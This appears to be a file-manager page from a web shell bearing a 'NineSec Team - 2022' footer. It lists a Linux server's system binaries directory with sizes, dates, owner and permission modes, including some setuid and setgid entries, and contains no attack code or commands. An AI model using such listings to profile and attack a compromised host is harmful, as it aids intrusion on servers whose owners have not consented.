root
0755
auth-otp
38.383 KB
February 27 2020 8:34:56
root
0755
avcstat
14.305 KB
February 26 2020 6:10:57
root
0755
biosdecode
27.203 KB
December 23 2019 6:56:41
root
0755
cache_check
1.29 MB
February 08 2020 12:20:35
root
0755
cache_dump
1.29 MB
February 08 2020 12:20:35
root
0755
cache_metadata_size
1.29 MB
February 08 2020 12:20:35
root
0755
cache_repair
1.29 MB
February 08 2020 12:20:35
root
0755
cache_restore
1.29 MB
February 08 2020 12:20:35
root
0755
cache_writeback
1.29 MB
February 08 2020 12:20:35
root
0755
check_forensic
0.93 KB
April 26 2011 5:10:00
root
0755
chgpasswd
66.203 KB
November 29 2022 12:53:10
root
0755
chmem
62.227 KB
May 30 2023 5:42:35
root
0755
chpasswd
58.203 KB
November 29 2022 12:53:10
root
0755
chroot
42.336 KB
September 05 2019 12:38:40
root
0755
compute_av
14.305 KB
February 26 2020 6:10:57
root
0755
compute_create
14.305 KB
February 26 2020 6:10:57
root
0755
compute_member
14.305 KB
February 26 2020 6:10:57
root
0755
compute_relabel
14.305 KB
February 26 2020 6:10:57
root
0755
compute_user
14.305 KB
February 26 2020 6:10:57
root
0755
convertquota
78.719 KB
April 09 2019 10:12:04
root
0755
cpgr
60.336 KB
November 29 2022 12:53:10
root
0755
cppw
60.336 KB
November 29 2022 12:53:10
root
0755
cron
54.633 KB
February 13 2020 9:44:42
root
0755
ddns-confgen
26.297 KB
September 19 2023 1:22:19
root
0755
delgroup
16.108 KB
April 16 2020 4:12:53
root
0755
deluser
16.108 KB
April 16 2020 4:12:53
root
0755
dmidecode
119 KB
December 23 2019 6:56:41
root
0755
dnssec-cds
46.391 KB
September 19 2023 1:22:19
root
0755
dnssec-checkds
0.901 KB
September 19 2023 1:22:19
root
0755
dnssec-coverage
0.903 KB
September 19 2023 1:22:19
root
0755
dnssec-dsfromkey
38.383 KB
September 19 2023 1:22:19
root
0755
dnssec-importkey
34.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keyfromlabel
38.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keygen
46.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keymgr
0.899 KB
September 19 2023 1:22:19
root
0755
dnssec-revoke
30.383 KB
September 19 2023 1:22:19
root
0755
dnssec-settime
42.383 KB
September 19 2023 1:22:19
root
0755
dnssec-signzone
94.414 KB
September 19 2023 1:22:19
root
0755
dnssec-verify
30.391 KB
September 19 2023 1:22:19
root
0755
dovecot
98.398 KB
July 07 2022 7:17:38
root
0755
dpkg-preconfigure
3.577 KB
August 03 2019 12:51:13
root
0755
dpkg-reconfigure
4.344 KB
August 03 2019 12:51:13
root
0755
e2freefrag
18.375 KB
June 02 2022 2:59:32
root
0755
e4crypt
30.375 KB
June 02 2022 2:59:32
root
0755
e4defrag
34.305 KB
June 02 2022 2:59:32
root
0755
ebtables
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-save
215.32 KB
May 09 2023 8:39:57
root
0755
edquota
87.188 KB
April 09 2019 10:12:04
root
0755
era_check
1.29 MB
February 08 2020 12:20:35
root
0755
era_dump
1.29 MB
February 08 2020 12:20:35
root
0755
era_invalidate
1.29 MB
February 08 2020 12:20:35
root
0755
era_restore
1.29 MB
February 08 2020 12:20:35
root
0755
faillock
14.148 KB
January 10 2024 2:55:08
root
0755
fdformat
34.227 KB
May 30 2023 5:42:35
root
0755
filefrag
18.328 KB
June 02 2022 2:59:32
root
0755
firewalld
6.863 KB
April 04 2020 7:50:39
root
0755
ftpasswd
34.669 KB
February 27 2020 8:34:56
root
0755
ftpquota
32.201 KB
February 27 2020 8:34:56
root
0755
ftpscrub
23.445 KB
February 27 2020 8:34:56
root
0755
ftpshut
14.148 KB
February 27 2020 8:34:56
root
0755
ftpstats
12.154 KB
February 27 2020 8:34:56
root
0755
genl
82.289 KB
February 13 2020 6:21:59
root
0755
getconlist
14.305 KB
February 26 2020 6:10:57
root
0755
getdefaultcon
14.305 KB
February 26 2020 6:10:57
root
0755
getenforce
14.305 KB
February 26 2020 6:10:57
root
0755
getfilecon
14.305 KB
February 26 2020 6:10:57
root
0755
getpidcon
14.305 KB
February 26 2020 6:10:57
root
0755
getsebool
14.305 KB
February 26 2020 6:10:57
root
0755
getseuser
14.305 KB
February 26 2020 6:10:57
root
0755
groupadd
90.953 KB
November 29 2022 12:53:10
root
0755
groupdel
86.766 KB
November 29 2022 12:53:10
root
0755
groupmems
62.242 KB
November 29 2022 12:53:10
root
0755
groupmod
94.859 KB
November 29 2022 12:53:10
root
0755
grpck
62.18 KB
November 29 2022 12:53:10
root
0755
grpconv
58.055 KB
November 29 2022 12:53:10
root
0755
grpunconv
58.055 KB
November 29 2022 12:53:10
root
0755
httxt2dbm
14.148 KB
October 26 2023 3:54:09
root
0755
iconvconfig
30.398 KB
November 22 2023 2:32:50
root
0755
in.proftpd
1.02 MB
February 27 2020 8:34:56
root
0755
invoke-rc.d
16.643 KB
June 21 2019 8:56:55
root
0755
iotop
0.484 KB
June 19 2023 3:39:59
root
0755
ip6tables
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-apply
6.892 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy-save
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore-translate
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-save
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-translate
215.32 KB
May 09 2023 8:39:57
root
0755
iptables
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-apply
6.892 KB
May 09 2023 8:39:57
root
0755
iptables-legacy
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-legacy-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-legacy-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-restore-translate
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-translate
215.32 KB
May 09 2023 8:39:57
root
0755
irqbalance
62.922 KB
February 13 2020 8:39:57
root
0755
irqbalance-ui
34.375 KB
February 13 2020 8:39:57
root
0755
isadump
14.305 KB
March 31 2022 10:52:36
root
0755
isaset
14.305 KB
March 31 2022 10:52:36
root
0755
ispell-autobuildhash
15.388 KB
November 15 2018 4:24:46
root
0755
jk_check
11.186 KB
November 11 2019 5:23:32
root
0755
jk_chrootlaunch
22.563 KB
November 11 2019 5:23:32
root
0755
jk_chrootsh
34.297 KB
November 11 2019 5:23:32
root
4755
jk_cp
4.111 KB
November 11 2019 5:23:32
root
0755
jk_init
9.67 KB
November 11 2019 5:23:32
root
0755
jk_jailuser
11.764 KB
November 11 2019 5:23:32
root
0755
jk_list
4.55 KB
November 11 2019 5:23:32
root
0755
jk_lsh
26.297 KB
November 11 2019 5:23:32
root
0755
jk_socketd
30.594 KB
November 11 2019 5:23:32
root
0755
jk_update
9.096 KB
November 11 2019 5:23:32
root
0755
ldattach
34.227 KB
May 30 2023 5:42:35
root
0755
libgvc6-config-update
14.148 KB
March 02 2020 5:35:25
root
0755
locale-gen
4.296 KB
July 26 2023 9:44:39
root
0755
logrotate
82.086 KB
January 21 2019 11:11:39
root
0755
make-ssl-cert
3.784 KB
April 28 2017 9:58:22
root
0755
matchpathcon
14.305 KB
February 26 2020 6:10:57
root
0755
milter-greylist
244.188 KB
January 24 2020 11:35:02
root
0755
mklost+found
14.305 KB
June 02 2022 2:59:32
root
0755
mysqld
64.15 MB
January 17 2024 9:13:42
root
0755
named
529.469 KB
September 19 2023 1:22:19
root
0755
named-checkconf
38.406 KB
September 19 2023 1:22:19
root
0755
named-checkzone
38.406 KB
September 19 2023 1:22:19
root
0755
named-compilezone
38.406 KB
September 19 2023 1:22:19
root
0755
named-journalprint
14.297 KB
September 19 2023 1:22:19
root
0755
named-nzd2nzf
14.297 KB
September 19 2023 1:22:19
root
0755
netplan
0.779 KB
October 26 2023 3:59:19
root
0755
newusers
98.797 KB
November 29 2022 12:53:10
root
0755
nfnl_osf
18.297 KB
May 09 2023 8:39:57
root
0755
nologin
14.297 KB
November 29 2022 12:53:10
root
0755
nsec3hash
14.305 KB
September 19 2023 1:22:19
root
0755
ntpdate
83.289 KB
November 27 2020 10:10:51
root
0755
ntpdate-debian
0.521 KB
November 27 2020 10:10:51
root
0755
opendkim
250.281 KB
December 31 2019 3:16:22
root
0755
ownership
14.445 KB
December 23 2019 6:56:41
root
0755
pam-auth-update
19.858 KB
September 17 2021 8:05:34
root
0755
pam_getenv
2.822 KB
August 12 2020 2:15:04
root
0755
pam_timestamp_check
14.148 KB
January 10 2024 2:55:08
root
0755
paperconfig
4.072 KB
June 26 2019 12:04:32
root
0755
pdata_tools
1.29 MB
February 08 2020 12:20:35
root
0755
php-fpm5.6
4.36 MB
September 02 2023 9:57:07
root
0755
php-fpm7.4
4.57 MB
September 02 2023 10:03:15
root
0755
php-fpm8.0
4.74 MB
September 02 2023 10:04:32
root
0755
php-fpm8.2
5.41 MB
January 20 2024 3:16:39
root
0755
php-fpm8.3
5.49 MB
January 20 2024 3:16:18
root
0755
phpdismod
7.107 KB
January 09 2024 1:01:46
root
0755
phpenmod
7.107 KB
January 09 2024 1:01:46
root
0755
phpquery
6.239 KB
January 09 2024 1:01:46
root
0755
policy-test
6.033 KB
December 12 2013 11:32:41
root
0755
policyvers
14.305 KB
February 26 2020 6:10:57
root
0755
popcon-largest-unused
0.53 KB
February 14 2020 12:04:46
root
0755
popularity-contest
5.228 KB
February 14 2020 12:04:46
root
0755
postalias
22.148 KB
January 29 2024 9:49:03
root
0755
postcat
22.219 KB
January 29 2024 9:49:03
root
0755
postconf
187.625 KB
January 29 2024 9:49:03
root
0755
postdrop
22.273 KB
January 29 2024 9:49:03
root
2555
postfix
18.227 KB
January 29 2024 9:49:03
root
0755
postfix-add-filter
4.899 KB
January 29 2024 9:49:03
root
0755
postfix-add-policy
3.831 KB
January 29 2024 9:49:03
root
0755
postgrey
38.367 KB
May 09 2019 1:35:38
root
0755
postkick
14.148 KB
January 29 2024 9:49:03
root
0755
postlock
14.148 KB
January 29 2024 9:49:03
root
0755
postlog
14.305 KB
January 29 2024 9:49:03
root
0755
postmap
22.148 KB
January 29 2024 9:49:03
root
0755
postmulti
30.539 KB
January 29 2024 9:49:03
root
0755
postqueue
22.227 KB
January 29 2024 9:49:03
root
2555
postsuper
30.477 KB
January 29 2024 9:49:03
root
0755
posttls-finger
42.234 KB
January 29 2024 9:49:03
root
0755
proftpd
1.02 MB
February 27 2020 8:34:56
root
0755
proftpd-gencert
1.638 KB
February 27 2020 8:30:14
root
0755
pwck
58.172 KB
November 29 2022 12:53:10
root
0755
pwconv
54.047 KB
November 29 2022 12:53:10
root
0755
pwunconv
54.055 KB
November 29 2022 12:53:10
root
0755
qmqp-sink
18.148 KB
January 29 2024 9:49:03
root
0755
qmqp-source
22.164 KB
January 29 2024 9:49:03
root
0755
qshape
12.548 KB
January 29 2024 9:49:03
root
0755
quota_nld
82.781 KB
April 09 2019 10:12:04
root
0755
quotastats
13.992 KB
April 09 2019 10:12:04
root
0755
readprofile
22.258 KB
May 30 2023 5:42:35
root
0755
remove-default-ispell
2.863 KB
November 15 2018 4:24:46
root
0755
remove-default-wordlist
2.862 KB
November 15 2018 4:24:46
root
0755
remove-shell
0.883 KB
December 07 2019 3:13:44
root
0755
repquota
83.281 KB
April 09 2019 10:12:04
root
0755
rmail
18.148 KB
January 29 2024 9:49:03
root
0755
rmt
58.547 KB
December 05 2023 6:16:50
root
0755
rmt-tar
58.547 KB
December 05 2023 6:16:50
root
0755
rndc
42.305 KB
September 19 2023 1:22:19
root
0755
rndc-confgen
26.305 KB
September 19 2023 1:22:19
root
0755
rpc.rquotad
87 KB
April 09 2019 10:12:04
root
0755
rsyslogd
710.203 KB
May 03 2022 10:48:35
root
0755
rtcwake
46.227 KB
May 30 2023 5:42:35
root
0755
sasl-sample-server
22.563 KB
February 15 2022 9:03:43
root
0755
saslauthd
102.797 KB
February 15 2022 9:03:43
root
0755
sasldbconverter2
18.375 KB
February 15 2022 9:03:43
root
0755
sasldblistusers2
18.375 KB
February 15 2022 9:03:43
root
0755
saslpasswd2
14.367 KB
February 15 2022 9:03:43
root
0755
saslpluginviewer
18.438 KB
February 15 2022 9:03:43
root
0755
sefcontext_compile
66.508 KB
February 26 2020 6:10:57
root
0755
selabel_digest
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_get_digests_all_partial_matches
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_lookup
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_lookup_best_match
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_partial_match
14.305 KB
February 26 2020 6:10:57
root
0755
select-default-ispell
3.226 KB
November 15 2018 4:24:46
root
0755
select-default-wordlist
3.207 KB
November 15 2018 4:24:46
root
0755
selinux_check_access
14.305 KB
February 26 2020 6:10:57
root
0755
selinux_check_securetty_context
14.305 KB
February 26 2020 6:10:57
root
0755
selinuxenabled
14.305 KB
February 26 2020 6:10:57
root
0755
selinuxexeccon
14.305 KB
February 26 2020 6:10:57
root
0755
sendmail
34.305 KB
January 29 2024 9:49:03
root
0755
sendmail_bitninja
0.478 KB
February 12 2024 9:11:41
root
6755
sensors-detect
212.977 KB
March 31 2022 10:52:36
root
0755
service
9.045 KB
June 21 2019 8:56:55
root
0755
setenforce
14.305 KB
February 26 2020 6:10:57
root
0755
setfilecon
14.305 KB
February 26 2020 6:10:57
root
0755
setquota
95.25 KB
April 09 2019 10:12:04
root
0755
setvesablank
14.07 KB
May 09 2019 5:22:51
root
0755
smtp-sink
35.086 KB
January 29 2024 9:49:03
root
0755
smtp-source
30.172 KB
January 29 2024 9:49:03
root
0755
spamd
127.404 KB
March 24 2023 5:36:49
root
0755
split-logfile
2.358 KB
October 26 2023 3:54:09
root
0755
sshd
863.789 KB
January 02 2024 6:13:02
root
0755
tarcat
0.914 KB
December 05 2023 6:16:50
root
0755
tcpdump
1019.758 KB
February 10 2023 12:34:14
root
0755
testsaslauthd
18.305 KB
February 15 2022 9:03:43
root
0755
thin_check
1.29 MB
February 08 2020 12:20:35
root
0755
thin_delta
1.29 MB
February 08 2020 12:20:35
root
0755
thin_dump
1.29 MB
February 08 2020 12:20:35
root
0755
thin_ls
1.29 MB
February 08 2020 12:20:35
root
0755
thin_metadata_size
1.29 MB
February 08 2020 12:20:35
root
0755
thin_repair
1.29 MB
February 08 2020 12:20:35
root
0755
thin_restore
1.29 MB
February 08 2020 12:20:35
root
0755
thin_rmap
1.29 MB
February 08 2020 12:20:35
root
0755
thin_trim
1.29 MB
February 08 2020 12:20:35
root
0755
togglesebool
14.305 KB
February 26 2020 6:10:57
root
0755
tsig-keygen
26.297 KB
September 19 2023 1:22:19
root
0755
tzconfig
0.104 KB
January 02 2024 8:24:29
root
0755
ufw
4.82 KB
July 17 2023 4:14:04
root
0755
update-ca-certificates
5.291 KB
May 18 2023 3:09:37
root
0755
update-default-aspell
1.004 KB
November 15 2018 4:24:46
root
0755
update-default-ispell
9.678 KB
November 15 2018 4:24:46
root
0755
update-default-wordlist
7.5 KB
November 15 2018 4:24:46
root
0755
update-dictcommon-aspell
1.004 KB
November 15 2018 4:24:46
root
0755
update-dictcommon-hunspell
0.764 KB
November 15 2018 4:24:46
root
0755
update-gsfontmap
0.459 KB
October 12 2023 3:06:46
root
0755
update-icon-caches
0.582 KB
February 15 2022 6:50:52
root
0755
update-info-dir
1.66 KB
October 11 2019 12:32:01
root
0755
update-locale
2.991 KB
June 16 2023 12:22:06
root
0755
update-mime
9.182 KB
October 19 2019 1:05:50
root
0755
update-passwd
34.563 KB
December 17 2019 12:51:51
root
0755
update-pciids
1.711 KB
April 01 2021 12:55:11
root
0755
update-rc.d
16.759 KB
June 21 2019 8:56:55
root
0755
useradd
143.711 KB
November 29 2022 12:53:10
root
0755
userdel
98.891 KB
November 29 2022 12:53:10
root
0755
usermod
139.492 KB
November 29 2022 12:53:10
root
0755
uuidd
42.305 KB
May 30 2023 5:42:35
root
0755
validatetrans
14.305 KB
February 26 2020 6:10:57
root
0755
validlocale
1.731 KB
August 02 2022 5:34:43
root
0755
vcstime
13.992 KB
May 09 2019 5:22:51
root
0755
vigr
68.555 KB
November 29 2022 12:53:10
root
0755
vipw
68.555 KB
November 29 2022 12:53:10
root
0755
virtualmin
1.325 KB
February 12 2024 9:10:53
root
0755
visudo
218.195 KB
April 04 2023 1:56:28
root
0755
vpddecode
18.578 KB
December 23 2019 6:56:41
root
0755
warnquota
95.125 KB
April 09 2019 10:12:04
root
0755
xqmstats
13.992 KB
April 09 2019 10:12:04
root
0755
xtables-legacy-multi
96.969 KB
May 09 2023 8:39:57
root
0755
xtables-monitor
215.32 KB
May 09 2023 8:39:57
root
0755
xtables-nft-multi
215.32 KB
May 09 2023 8:39:57
root
0755
zabbix_agentd
481.617 KB
February 04 2020 5:03:41
root
0755
zic
62.289 KB
November 22 2023 2:32:50
root
0755

NineSec Team - 2022